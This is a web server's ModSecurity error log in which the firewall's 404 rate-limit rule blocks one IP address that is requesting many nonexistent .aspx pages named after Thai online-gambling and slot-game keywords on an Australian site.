[Tue Jan 27 15:31:44.053129 2026] [:error] [pid 48631:tid 48655] [client 54.37.252.119:58548] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87%E0%B9%80%E0%B8%A5%E0%B9%88%E0%B8%99%E0%B8%9F%E0%B8%A3%E0%B8%B5%20pg.aspx"] [unique_id "aXhp4CN5eesHzEogX0wa7AAAAlY"]
[Tue Jan 27 15:31:47.211891 2026] [:error] [pid 7453:tid 7497] [client 54.37.252.119:58970] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%2010%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B8%B3%E0%B8%A2%E0%B8%AD%E0%B8%94%20200.aspx"] [unique_id "aXhp4xfsyA2ws_ADquhdzAAAAEg"]
[Tue Jan 27 15:31:49.896922 2026] [:error] [pid 7561:tid 7583] [client 54.37.252.119:58982] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20888pg.aspx"] [unique_id "aXhp5bXGI6mgvHQqkXytygAAANM"]
[Tue Jan 27 15:31:52.384694 2026] [:error] [pid 7453:tid 7489] [client 54.37.252.119:58986] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%9D%E0%B8%B2%E0%B8%81%E0%B8%96%E0%B8%AD%E0%B8%99%20true%20wallet%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhp6BfsyA2ws_ADquhd2AAAAEA"]
[Tue Jan 27 15:31:55.381903 2026] [:error] [pid 48631:tid 48652] [client 54.37.252.119:59000] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20chang123.io.aspx"] [unique_id "aXhp6yN5eesHzEogX0wa9gAAAlM"]
[Tue Jan 27 15:31:58.032430 2026] [:error] [pid 48662:tid 48672] [client 54.37.252.119:60808] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87%20g2g%20vip.aspx"] [unique_id "aXhp7uD8iESUP9uRiRPReQAAAoQ"]
[Tue Jan 27 15:32:01.437383 2026] [:error] [pid 48446:tid 48483] [client 54.37.252.119:60822] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87168.aspx"] [unique_id "aXhp8cDRSaZ8F8aaLxljLQAAAcY"]
[Tue Jan 27 15:32:05.688363 2026] [:error] [pid 41780:tid 41797] [client 54.37.252.119:60838] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%87%E0%B9%88%E0%B8%B2%E0%B8%A2.aspx"] [unique_id "aXhp9Vvu-XLQ0TaZ4FHofQAAAQ8"]
[Tue Jan 27 15:32:08.920885 2026] [:error] [pid 48412:tid 48428] [client 54.37.252.119:50768] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C888.aspx"] [unique_id "aXhp-HbJMfAKlln88JG8wAAAAU4"]
[Tue Jan 27 15:32:12.168598 2026] [:error] [pid 48412:tid 48433] [client 54.37.252.119:50782] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhp_HbJMfAKlln88JG8xAAAAVM"]
[Tue Jan 27 15:32:14.632998 2026] [:error] [pid 48528:tid 48534] [client 54.37.252.119:50788] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95168%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhp_gOGRrquT9N7CZpSkAAAAgQ"]
[Tue Jan 27 15:32:17.688073 2026] [:error] [pid 48631:tid 48656] [client 54.37.252.119:33898] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95999%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhqASN5eesHzEogX0wbFwAAAlc"]
[Tue Jan 27 15:32:20.374066 2026] [:error] [pid 48631:tid 48634] [client 54.37.252.119:33910] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95betflik.aspx"] [unique_id "aXhqBCN5eesHzEogX0wbGgAAAkE"]
[Tue Jan 27 15:32:23.232118 2026] [:error] [pid 7454:tid 7518] [client 54.37.252.119:33926] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95pg168%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhqB5ltCoZEfMmfl8D46QAAAII"]
[Tue Jan 27 15:32:26.290241 2026] [:error] [pid 48446:tid 48483] [client 54.37.252.119:33938] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AA%E0%B8%A5%E0%B9%8A%E0%B8%AD%E0%B8%95%E0%B8%97%E0%B8%94%E0%B8%A5%E0%B8%AD%E0%B8%87.aspx"] [unique_id "aXhqCsDRSaZ8F8aaLxljOwAAAcY"]
[Tue Jan 27 15:32:29.180853 2026] [:error] [pid 41780:tid 41805] [client 54.37.252.119:48188] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AB%E0%B8%99%E0%B8%B1%E0%B8%87%E0%B9%82%E0%B8%9B%E0%B9%89%E0%B8%AA%E0%B8%B2%E0%B8%A7%E0%B8%AA%E0%B8%A7%E0%B8%A2.aspx"] [unique_id "aXhqDVvu-XLQ0TaZ4FHogwAAARc"]
[Tue Jan 27 15:32:31.873872 2026] [:error] [pid 48412:tid 48430] [client 54.37.252.119:48200] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AB%E0%B8%A7%E0%B8%A2%E0%B9%81%E0%B8%81%E0%B8%A3%E0%B8%99%E0%B8%94%E0%B9%8C%E0%B8%94%E0%B8%A3%E0%B8%B2%E0%B8%81%E0%B9%89%E0%B8%AD%E0%B8%99%204d.aspx"] [unique_id "aXhqD3bJMfAKlln88JG83QAAAVA"]
[Tue Jan 27 15:32:35.769800 2026] [:error] [pid 48446:tid 48501] [client 54.37.252.119:48216] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B8%AD%E0%B8%B1%E0%B8%9E%E0%B8%97%E0%B8%B9%E0%B8%A2%E0%B8%B9%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhqE8DRSaZ8F8aaLxljPwAAAdc"]
[Tue Jan 27 15:33:28.479811 2026] [:error] [pid 48412:tid 48419] [client 54.37.252.119:35270] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%9A%E0%B8%B2%E0%B8%84%E0%B8%B2%E0%B8%A3%E0%B9%88%E0%B8%B2.aspx"] [unique_id "aXhqSHbJMfAKlln88JG9agAAAUU"]
[Tue Jan 27 15:33:31.396274 2026] [:error] [pid 7453:tid 7506] [client 54.37.252.119:52146] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%95%E0%B8%A3%E0%B8%87%E0%B9%84%E0%B8%A1%E0%B9%88%E0%B8%9C%E0%B9%88%E0%B8%B2%E0%B8%99%E0%B9%80%E0%B8%AD%E0%B9%80%E0%B8%A2%E0%B9%88%E0%B8%99%E0%B8%95%E0%B9%8C.aspx"] [unique_id "aXhqSxfsyA2ws_ADquheWgAAAFE"]
[Tue Jan 27 15:33:34.480969 2026] [:error] [pid 7561:tid 7573] [client 54.37.252.119:52156] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B8%AD%E0%B8%B1%E0%B8%99%E0%B8%94%E0%B8%B1%E0%B8%9A%201%20%E0%B8%82%E0%B8%AD%E0%B8%87%E0%B9%82%E0%B8%A5%E0%B8%81%20%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%82%E0%B8%9A%E0%B8%99%E0%B8%B1%E0%B8%AA%20%E0%B8%94%E0%B8%B5%E0%B8%97%E0%B8%B5%E0%B9%88%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhqTrXGI6mgvHQqkXyuKwAAAMk"]
[Tue Jan 27 15:33:37.627283 2026] [:error] [pid 41780:tid 41788] [client 54.37.252.119:60074] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%E0%B9%81%E0%B8%95%E0%B8%81%E0%B8%94%E0%B8%B5.aspx"] [unique_id "aXhqUVvu-XLQ0TaZ4FHo3QAAAQY"]
[Tue Jan 27 15:33:40.676792 2026] [:error] [pid 7453:tid 7511] [client 54.37.252.119:60088] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhqVBfsyA2ws_ADquheaAAAAFY"]
[Tue Jan 27 15:33:44.284822 2026] [:error] [pid 48631:tid 48635] [client 54.37.252.119:60092] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%81%E0%B8%88%E0%B8%81%E0%B9%82%E0%B8%84%E0%B9%89%E0%B8%94%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5%20%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95%20%E0%B8%A5%E0%B9%88%E0%B8%B2%E0%B8%AA%E0%B8%B8%E0%B8%94.aspx"] [unique_id "aXhqWCN5eesHzEogX0wbXAAAAkI"]
[Tue Jan 27 15:33:47.134826 2026] [:error] [pid 48445:tid 48461] [client 54.37.252.119:53338] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhqWxFh_QNUhZ0Hkze1bgAAAYw"]
[Tue Jan 27 15:33:49.854269 2026] [:error] [pid 48445:tid 48455] [client 54.37.252.119:53352] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/%E0%B9%82%E0%B8%88%E0%B9%8A%E0%B8%81%E0%B9%80%E0%B8%81%E0%B8%AD%E0%B8%A3%E0%B9%8C123.aspx"] [unique_id "aXhqXRFh_QNUhZ0Hkze1dAAAAYY"]
[Tue Jan 27 15:33:53.473823 2026] [:error] [pid 7561:tid 7583] [client 54.37.252.119:53366] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXhqYbXGI6mgvHQqkXyujQAAANM"]
[Tue Jan 27 15:33:57.537850 2026] [:error] [pid 48412:tid 48420] [client 54.37.252.119:56020] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%20%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100.aspx"] [unique_id "aXhqZXbJMfAKlln88JG92QAAAUY"]
[Tue Jan 27 15:34:01.468971 2026] [:error] [pid 41780:tid 41786] [client 54.37.252.119:56022] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A%20100%20%E0%B8%97%E0%B9%8D%E0%B8%B2%20300%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89100%20%E0%B8%A7%E0%B8%AD%20%E0%B8%A5%20%E0%B9%80%E0%B8%A5%E0%B9%87%20%E0%B8%95.aspx"] [unique_id "aXhqaVvu-XLQ0TaZ4FHpEwAAAQQ"]
[Tue Jan 27 15:34:04.417508 2026] [:error] [pid 48631:tid 48633] [client 54.37.252.119:56030] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%20%E0%B8%97%E0%B9%8D%E0%B8%B2%20300%20%E0%B8%96%E0%B8%AD%E0%B8%99%E0%B9%84%E0%B8%94%E0%B9%89%20100.aspx"] [unique_id "aXhqbCN5eesHzEogX0wbrAAAAkA"]
[Tue Jan 27 15:34:08.146101 2026] [:error] [pid 48528:tid 48549] [client 54.37.252.119:56570] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/10%E0%B8%A3%E0%B8%B1%E0%B8%9A100%E0%B8%AA%E0%B8%A1%E0%B8%B2%E0%B8%8A%E0%B8%B4%E0%B8%81%E0%B9%83%E0%B8%AB%E0%B8%A1%E0%B9%88%20wallet.aspx"] [unique_id "aXhqcAOGRrquT9N7CZpS2gAAAhM"]
[Tue Jan 27 15:34:12.413898 2026] [:error] [pid 48631:tid 48650] [client 54.37.252.119:56578] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1234%20slot.aspx"] [unique_id "aXhqdCN5eesHzEogX0wbtAAAAlE"]
[Tue Jan 27 15:34:16.498500 2026] [:error] [pid 7454:tid 7536] [client 54.37.252.119:56592] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/15%E0%B8%A3%E0%B8%B1%E0%B8%9A100.aspx"] [unique_id "aXhqeJltCoZEfMmfl8D5bgAAAJQ"]
[Tue Jan 27 15:34:20.595970 2026] [:error] [pid 7561:tid 7572] [client 54.37.252.119:48920] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/1xbet%20%E0%B9%84%E0%B8%97%E0%B8%A2.aspx"] [unique_id "aXhqfLXGI6mgvHQqkXyuoAAAAMg"]
[Tue Jan 27 15:35:24.990279 2026] [:error] [pid 7561:tid 7584] [client 54.37.252.119:40346] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20%E0%B9%80%E0%B8%84%E0%B8%A3%E0%B8%94%E0%B8%B4%E0%B8%95%E0%B8%9F%E0%B8%A3%E0%B8%B5.aspx"] [unique_id "aXhqvLXGI6mgvHQqkXyu-QAAANQ"]
[Tue Jan 27 15:35:28.385730 2026] [:error] [pid 48662:tid 48671] [client 54.37.252.119:52612] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aXhqwOD8iESUP9uRiRPSpQAAAoM"]
[Tue Jan 27 15:35:31.418193 2026] [:error] [pid 48631:tid 48650] [client 54.37.252.119:52626] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhqwyN5eesHzEogX0wb6QAAAlE"]
[Tue Jan 27 15:35:34.803730 2026] [:error] [pid 7454:tid 7523] [client 54.37.252.119:52628] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bwin%E0%B8%AA%E0%B8%A5%E0%B9%87%E0%B8%AD%E0%B8%95.aspx"] [unique_id "aXhqxpltCoZEfMmfl8D5yQAAAIc"]
[Tue Jan 27 15:35:38.214835 2026] [:error] [pid 48446:tid 48480] [client 54.37.252.119:43806] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aXhqysDRSaZ8F8aaLxlkAwAAAcM"]
[Tue Jan 27 15:35:41.914439 2026] [:error] [pid 48446:tid 48488] [client 54.37.252.119:43814] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "aXhqzcDRSaZ8F8aaLxlkBgAAAcs"]
[Tue Jan 27 15:35:46.044354 2026] [:error] [pid 48662:tid 48669] [client 54.37.252.119:43824] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot%20%E0%B9%80%E0%B8%A7%E0%B9%87%E0%B8%9A%E0%B8%95%E0%B8%A3%E0%B8%87.aspx"] [unique_id "aXhq0uD8iESUP9uRiRPStQAAAoE"]
